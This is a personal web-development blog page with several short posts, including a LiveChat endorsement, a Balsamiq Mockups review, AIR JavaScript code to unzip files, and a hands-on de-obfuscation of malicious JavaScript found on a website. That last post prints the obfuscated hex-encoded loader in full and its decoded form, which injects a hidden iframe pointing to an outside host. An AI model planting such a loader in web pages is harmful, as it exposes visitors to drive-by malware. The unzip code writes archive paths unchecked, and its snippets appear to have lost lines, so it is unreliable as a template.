web development

Communicate in Real-Time with online visitors

I really like the LiveChat solution from Livechatinc, it is very easy to integrate into existing projects and the javascript api allows you to enrich the chat session data with whatever you want to identify users, requests or processes. Also included is a ticketing solution as well as tracking and measuring.

LiveChat is an online chat solution that helps you connect with your customers on your website. When using LiveChat, you can see in real time the way visitors behave and approach them on each step of the buying process. This allows you to easily provide instant help and, in result, increase your conversion rates.

LiveChat comes with a ticketing system built into the application. The ticketing system allows you to receive customer queries when you are offline. By creating tickets from your chats, you can stay in touch with customers when you need some time to deal with their cases. You can also receive your support emails as tickets and handle them in one place.

LiveChat comes in three packages tailored to the needs of small, medium and big companies.

With LiveChat, you won’t miss any opportunities to contact your clients. Sign up now for a free 30-day trial. Sign up now

This is what you see from the LiveChat interface as support agent:

Live Chat chat page

Reading browser history with css and javascript

This small script demonstrates how to check if a user has visited a particular url with his browser using css and javascript. Simple trick, small script, but could be dangerous – and you don’t see a damn thing.

The only protection against this of which i know is NoScript or just turning off JavaScript in your browser…

Rotating dom elements with css3 and jscript/jquery animation

If you want to rotate dom elements, webkit offers you

-webkit-transform: rotate(0deg);

and firefox offers you

-moz-transform: rotate(0deg);

I hacked together a small demo rotating dom elements with css including some animation with jscript/jquery.

Balsamiq Mockups – impressive software with an even more impressive story

mockups_fpaSince the first time I have seen Balsamiq Mockups, it rocked my world. It is now a pleasure to create mockups. With Mockups, this is a fast and intuitive process, for everyone. Yes, I like this tool as a developer, and I am sure that any non-developer will also like it as much!

There are a lot of shapes one can choose like a browser window, iphone window, any other window, webcontrols, etc. The result can be exported as PNG or saved as XML. With XML files one can even diff/merge mockups ;)

Short overview:

  • Create software mockups in minutes
  • Collaborate with your team
  • Focus on creating your product

The guy/company behind Mockups, Giacomo ‘Peldi’ Guilizzoni, is even more impressive. There is a very good interview over at 37 signals (see Sources):

“I never really understood the concept of building a company with the goal to sell it, or why one should have an ‘exit strategy.’ I just don’t get it. If you’re doing what you love, why would you want to ‘exit’? Maybe it’s because I am Italian, but I see nothing wrong with a business staying small in the long run. As long as we do great work, are happy to do it, and make people happy with it, I see no reason to change anything.”

Thank you again for the kind response to my email, Balsamiq Team, and the chance to review this very nice (and therefore rare) piece of software.


Uncompressing Zip-files with subfolders in AIR applications via JavaScript

I am currently building an AIR application with JavaScript (jQuery + jQuery UI), one function downloads zipped files and has to extract the contents somewhere to the local filesystem. Since the files may contain subfolders, i didn’t find any working example supporting subfolders in the docs or via google.

I found an Adobe Tutorial for basic Zip files (see Sources), and after reading the zip specs there was just one small change to their code to get it working with subfolders.

The spec says that entries in the zip file which are directories just end with an ‘/’. Skipping them is the whole magic. (see line 48)

Thankfully, the air.FileStream autocreates director ies, so writing the files to the subfolders does not need any change to the code. I added a basepath as parameter to the outFile function, to complete the for me intuitive function unzipFile(sourceFile, targetPath).

Here is the code:

 function unzipFile(sourceFile, targetPath)
	var bytes = new air.ByteArray();
	var fileName = new String();
	var flNameLength;
	var xfldLength;
	var offset;
	var compSize;
	var uncompSize;
	var compMethod;
	var signature; 

	var zfile = air.File.applicationStorageDirectory.resolvePath(sourceFile);
	var zStream = new air.FileStream();
	zStream.open(zfile, air.FileMode.READ);
	bytes.endian = air.Endian.LITTLE_ENDIAN;

	while (zStream.position < zfile.size)
		// read fixed metadata portion of local file header
        zStream.readBytes(bytes, 0, 30);

		bytes.position = 0;
        signature = bytes.readInt();
        // if no longer reading data files, quit
        if (signature != 0x04034b50)

		bytes.position = 8;
        compMethod = bytes.readByte();  // store compression method (8 == Deflate)

		offset = 0;    // stores length of variable portion of metadata
        bytes.position = 26;  // offset to file name length
        flNameLength = bytes.readShort();    // store file name
        offset += flNameLength;     // add length of file name
        bytes.position = 28;    // offset to extra field length
        xfldLength = bytes.readShort();
        offset += xfldLength;    // add length of extra field

		// read variable length bytes between fixed-length header and compressed file data
        zStream.readBytes(bytes, 30, offset);

		bytes.position = 30;
        fileName = bytes.readUTFBytes(flNameLength); // read file name 

		if (fileName.substr(fileName.length - 1, 1) != '/')
			bytes.position = 18;
			compSize = bytes.readUnsignedInt(); // store size of compressed portion
			bytes.position = 22; // offset to uncompressed size
			uncompSize = bytes.readUnsignedInt(); // store uncompressed size 

			// read compressed file to offset 0 of bytes; for uncompressed files
			// the compressed and uncompressed size is the same
			zStream.readBytes(bytes, 0, compSize);

			if (compMethod == 8 ) // if file is compressed, uncompress
			outFile(targetPath, fileName, bytes); // call outFile() to write out the file

This is the outFile function which writes the uncompressed files to the local file system.

 function outFile(baseDir, fileName, data)
    var outFile = air.File.applicationStorageDirectory;
    outFile = outFile.resolvePath(baseDir+air.File.separator+fileName);
    var outStream = new air.FileStream();
    outStream.open(outFile, air.FileMode.WRITE);
    outStream.writeBytes(data, 0, data.length);


Twiddling with obfuscated JavaScript code

Today a friend of mine sent me a link to a blog, at which my virus-scanner went havoc. HTML/Crypt.Gen Stuff, Trojan warning, etc.
After getting the scanner to really let me see the source (…), i found this:

<script language="JavaScript" type="text/javascript">
B46F5DF="pars";B46F5DF+="eInt";D8FA33DFE494F="Stri";D8FA33DFE494F+="ng";D8FA33DFE494F+=".fr";D8FA33DFE494F+="om";D8FA33DFE494F+="CharCode";function A2E39329F3265(B5A87C40BB26CEA){var E46F3EB4=525;E46F3EB4=E46F3EB4-509;BD0AB=eval(B46F5DF+"(B5A87C40BB26CEA,E46F3EB4)");return(BD0AB);}function AFE763E61CEF(C4D8544E71077){var C58BCCF5D58E99C=982;C58BCCF5D58E99C=C58BCCF5D58E99C-980;var A04698CEC="";for(B3CA4BA50C=0;B3CA4BA50C<C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){A04698CEC+=( eval(D8FA33DFE494F+"(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))"));}eval(A04698CEC);}AFE763E61CEF("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");

I now was eager to find out what this does, so i started to de-obfuscate this by hand:

1. Adding linebreaks:

function A2E39329F3265(B5A87C40BB26CEA){
    var E46F3EB4=525;

function AFE763E61CEF(C4D8544E71077){
    var C58BCCF5D58E99C=982;
    var A04698CEC="";
        A04698CEC+=( eval(D8FA33DFE494F+"(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))"));


2. Renaming the stuff, removing obfuscation:

function hex2dec(param1){

function decodeAndEval(param1){
    var buffer="";
        buffer+=( String.fromCharCode(hex2dec(param1.substr(i,2))) );


3. Echoing the decoded string:

if (document.cookie.search("rtnxw=7") == -1) {
rjpat=document.getElementById('qtit');if(rjpat==null){document.write('<iframe id=qtit src=http://gstats.cn style=display:none></iframe>');}
document.cookie = "rtnxw=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

So this small JavaScript opens an Iframe to some chinese website, which is right now marked as offensive in my firefox. I like small riddles in the morning ;)